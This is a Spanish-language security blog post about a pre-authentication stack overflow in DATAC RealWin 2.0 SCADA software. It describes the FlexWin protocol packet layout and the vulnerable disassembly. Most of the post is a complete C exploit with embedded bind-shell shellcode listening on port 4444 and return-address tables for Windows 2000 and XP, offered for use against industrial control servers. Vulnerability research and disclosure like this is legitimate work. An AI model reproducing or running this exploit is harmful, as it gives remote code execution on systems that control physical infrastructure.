Ska! Ska!…Da
Hola que tal.
Bueno como está de moda esto del SCADA, no tengo ni guarra del tema aprovecho para decirlo ( el post no trata sobre estos sistemas), pues digo voy a ver que hay por ahí de software que se pueda bajar. La mayoría de lo que he visto, al ser aplicaciones críticas, pues no están disponibles.
Pero bueno me encontré con una demo que aunque es antigua pues por echarla un ojo tampoco se perdía nada. El software en cuestion es RealWin, de la empresa DATAC que anteriormente era RealFlex parece ser. Como vemos en el dibujo, el Server de RealWin es el punto de conexión de la red externa y la SCADA, por lo que comprometiendo el server lograríamos acceso a la red SCADA (me parece a mi vamos) y entonces ya podríamos vaciarle la piscina al vecino y obligar a que los aspersores rieguen con vodka-limón.
Vamos a romperlo, que es lo que nos gusta.
Este software es de la gama media/baja, es decir que no se utiliza en grandes instalaciones sino en pequeñas y medianas de hasta 1000 tags, según la documentación. Asi que tampoco es tan grave la cosa.
Lo interesante del tema es que el fallo se produce al procesar mal una petición de su propio protocolo interno. Los clientes «FlexWin» que se conectan al servidor usan este protocolo, y estos clientes también se usan en el producto estrella de la compañía, que es RealFlex, el cual opera sobre QNX y ya se usa para grandes instalaciones. Entonces es posible que el fallo también pudiera darse en ese software, pero a saber…
El fallo es lo de siempre, un stack overflow al usar una longitud que nosotros controlamos para copiar datos a la pila.
Un paquete standar de un cliente FlexWin vendría a ser de la siguiente manera
—-MAGIC_HEADER —- 4 bytes ||
—-PAYLOAD_LENGTH– 4 bytes || (aunque al final PAYLOAD_LENGTH&0xFFFF)
—-CHISPUN———– 2 bytes || Parece inutil
—-FUNC/SUBFUNC—– 4 bytes || Hay varias funciones/subfunciones definidas
—-DATA—————n bytes || Aqui empieza la zona de parametros.
Los clientes FlexWin se pueden conectar sin autentificación previa para determinados comandos a través del puerto 910/TCP.
El servidor es multithread y protegido contra excepciones( ojo, contra excepciones continuables, como saltes a una mala dirección DoS…),asi que nuestro exploit no interferirá en nada en el funcionamiento normal.
El fallo está en el módulo RealWinDemo.exe
.text:0042C003 movzx ecx, ax
.text:0042C006 mov edx, ecx
.text:0042C008 shr ecx, 2
.text:0042C00B mov esi, ebx ; our packet
.text:0042C00D lea edi, [esp+638h+var_2E0] ; stack
.text:0042C014 rep movsd ; tracatrá – boom
.text:0042C016 mov ecx, edx
.text:0042C018 and ecx, 3
.text:0042C01B rep movsb
Si queréis ver donde empieza a procesar las funciones usad esta dirección #0x44fa26#.
Y aquí esta el exploit que bindea una shell al 4444. Está probado en XP SP2 y 2000 SP4. Pódeis añadir lost targets que queráis en la tabla TARGETS.
Os podéis descargar la demo que he usado desde aquí
Ala ya está. Era solo el gusanillo de romper un software SCADA…
Si alguien sabe de algún software del palo disponible (privada o públicamente) pues que de un toque…
//// DATAC RealWin 2.0 SCADA Software – Remote PreAuth Exploit -.
//// ——————————————————–
//// This code can only be used for personal study
//// and/or research purposes on even days.
////
//// The author is not responsible for any illegal usage.
//// So if you flood your neighborhood that’s your fucking problem =)
//// —————
//// Note
//// —————
//// ## The exploit has been tested against a build that seems pretty old.
//// ## Therefore this flaw may be not reproducible on newer versions.
////
//// http://www.dataconline.com
//// http://www.realflex.com/download/form.php
////
//// Ruben Santamarta www.reversemode.com
////
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"wsock32.lib")
#define REALWIN_PORT 910
#define PACKET_HEADER_MAGIC 0x67542310
#define EXPLOIT_LEN 0x810
#define PING_LEN 0x200
#define FUNC_INFOTAG_SET_CONTROL 0x5000A
#define FUNC_FUCK_CREATIONISM 0x70001
typedef struct {
const char *szTarget;
ULONG_PTR retAddr;
} TARGET;
TARGET targets[] = {
{ "Windows 2000 SP4 [ES]", 0x779D4F6A}, // call esp – oleaut32.dll
{ "Windows 2000 SP4 [EN]", 0x77E3C256 }, // jmp esp – user32.dll
{ "Windows XP SP2 [EN]", 0x7C914393 }, // call esp – ntdll.dll
{ "Windows XP SP2 [ES]", 0x7711139B}, // call esp – oleaut32.dll
{ NULL,-1}
};
int main(int argc, char* argv[])
{
WSADATA ws;
SOCKET tcp_socket, tcp_ping;
char bBuffer[0x10] = {0};
struct sockaddr_in peer;
char *pExploitPacket = NULL;
char *pPingPacket = NULL;
ULONG_PTR uFixed;
/* win32_bind – EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
"\xd8\xfb\x1b\x83\xeb\xfc\xe2\xf4\x59\xb2\x10\x56\x4d\x21\x04\xe4"
"\x5a\xb8\x70\x77\x81\xfc\x70\x5e\x99\x53\x87\x1e\xdd\xd9\x14\x90"
"\xea\xc0\x70\x44\x85\xd9\x10\x52\x2e\xec\x70\x1a\x4b\xe9\x3b\x82"
"\x09\x5c\x3b\x6f\xa2\x19\x31\x16\xa4\x1a\x10\xef\x9e\x8c\xdf\x33"
"\xd0\x3d\x70\x44\x81\xd9\x10\x7d\x2e\xd4\xb0\x90\xfa\xc4\xfa\xf0"
"\xa6\xf4\x70\x92\xc9\xfc\xe7\x7a\x66\xe9\x20\x7f\x2e\x9b\xcb\x90"
"\xe5\xd4\x70\x6b\xb9\x75\x70\x5b\xad\x86\x93\x95\xeb\xd6\x17\x4b"
"\x5a\x0e\x9d\x48\xc3\xb0\xc8\x29\xcd\xaf\x88\x29\xfa\x8c\x04\xcb"
"\xcd\x13\x16\xe7\x9e\x88\x04\xcd\xfa\x51\x1e\x7d\x24\x35\xf3\x19"
"\xf0\xb2\xf9\xe4\x75\xb0\x22\x12\x50\x75\xac\xe4\x73\x8b\xa8\x48"
"\xf6\x8b\xb8\x48\xe6\x8b\x04\xcb\xc3\xb0\xea\x47\xc3\x8b\x72\xfa"
"\x30\xb0\x5f\x01\xd5\x1f\xac\xe4\x73\xb2\xeb\x4a\xf0\x27\x2b\x73"
"\x01\x75\xd5\xf2\xf2\x27\x2d\x48\xf0\x27\x2b\x73\x40\x91\x7d\x52"
"\xf2\x27\x2d\x4b\xf1\x8c\xae\xe4\x75\x4b\x93\xfc\xdc\x1e\x82\x4c"
"\x5a\x0e\xae\xe4\x75\xbe\x91\x7f\xc3\xb0\x98\x76\x2c\x3d\x91\x4b"
"\xfc\xf1\x37\x92\x42\xb2\xbf\x92\x47\xe9\x3b\xe8\x0f\x26\xb9\x36"
"\x5b\x9a\xd7\x88\x28\xa2\xc3\xb0\x0e\x73\x93\x69\x5b\x6b\xed\xe4"
"\xd0\x9c\x04\xcd\xfe\x8f\xa9\x4a\xf4\x89\x91\x1a\xf4\x89\xae\x4a"
"\x5a\x08\x93\xb6\x7c\xdd\x35\x48\x5a\x0e\x91\xe4\x5a\xef\x04\xcb"
"\x2e\x8f\x07\x98\x61\xbc\x04\xcd\xf7\x27\x2b\x73\x4a\x16\x1b\x7b"
"\xf6\x27\x2d\xe4\x75\xd8\xfb\x1b";
int i,c;
system("cls");
printf("\n\t\t– RealFlex RealWin 2.0 SCADA Software –\n");
printf("\tProtocol Command INFOTAG/SET_CONTROL Stack Overflow\n");
printf("\nRuben Santamarta – reversemode.com \n\n");
if( argc < 3 )
{
printf("\nusage: exploit.exe ip TargetNumber");
printf("\n\nexample: exploit 192.168.1.44 1\n\n");
for( i = 0; targets[i].szTarget; i++ )
{
printf("\n[ %d ] – %s", i, targets[i].szTarget);
}
printf("\n");
exit(0);
}
WSAStartup(0x0202,&ws);
peer.sin_family = AF_INET;
peer.sin_port = htons( REALWIN_PORT );
peer.sin_addr.s_addr = inet_addr( argv[1] );
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
{
printf("\n[!!] Host unreachable 🙁 \n\n");
exit(0);
}
pExploitPacket = (char*) calloc( EXPLOIT_LEN, sizeof(char) );
pPingPacket = (char*) calloc( PING_LEN, sizeof(char) );
memset( (void*)pExploitPacket, 0x90, EXPLOIT_LEN);
memset( (void*)pPingPacket, 0x90, PING_LEN);
uFixed = targets[atoi(argv[2])].retAddr;
for( i=0x0; i< 0xbe; i++)
{
*( ( ULONG_PTR* ) (BYTE*)(pExploitPacket + i*sizeof(ULONG_PTR) +2 ) ) = uFixed;
}
// Bypass silly things.
*( ( ULONG_PTR* ) (BYTE*)(pExploitPacket + 0xbe*sizeof(ULONG_PTR) +2 ) ) = 0x404040;
// MAGIC_HEADER
*( ( ULONG_PTR* ) pExploitPacket ) = PACKET_HEADER_MAGIC;
//Payload Length
*( ( ULONG_PTR* ) pExploitPacket + 1 ) = 0x800;
//MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
*( (ULONG_PTR*)(( BYTE*) pExploitPacket + 10 ) ) = FUNC_INFOTAG_SET_CONTROL;
//First Parameter
*( (ULONG_PTR*)(( BYTE*) pExploitPacket + 14 ) ) = 0x4; // Internal Switch
//Mark
*( (ULONG_PTR*)(( BYTE*) pExploitPacket + 44 ) ) = 0xDEADBEEF; // Our marker
memcpy( (void*)((char*)pExploitPacket + EXPLOIT_LEN – sizeof(scode))
,scode
,sizeof(scode)-1);
send(tcp_socket, pExploitPacket, EXPLOIT_LEN, NULL );
printf("[+] Exploit packet sent…now checking host availability\n");
// MAGIC_HEADER
*( ( ULONG_PTR* ) pPingPacket ) = PACKET_HEADER_MAGIC;
//Payload Length
*( ( ULONG_PTR* ) pPingPacket + 1 ) = 0x20;
//MAKE_FUNC(FC_INFOTAG, FCS_SETCONTROL)
*( (ULONG_PTR*)(( BYTE*) pPingPacket + 10 ) ) = FUNC_FUCK_CREATIONISM;
//First Parameter
*( (ULONG_PTR*)(( BYTE*) pPingPacket + 14 ) ) = 0x1; // whatever
//Mark
*( (ULONG_PTR*)(( BYTE*) pPingPacket + 44 ) ) = 0xDEADBEEF; //Our marker
tcp_ping = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(tcp_ping, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
{
printf("\n[!!] The Host is dead, long live the Host! \n\n");
exit(0);
}
i = recv(tcp_ping, bBuffer, 0x8, NULL );
if( i )
{
printf("[+] The host is up and running\n\t:: %d bytes received: ",i);
for( c = 0; c<i; c++)
printf("%02X ", (unsigned char)bBuffer[c]);
printf("\n");
}else {
printf("\n[!!] The Host is dead, long live the Host! \n\n");
}
closesocket(tcp_ping);
closesocket(tcp_socket);
Sleep(1000);
printf("\n[+] Try: telnet %s 4444\n\n",argv[1]);
WSACleanup();
return 0;
}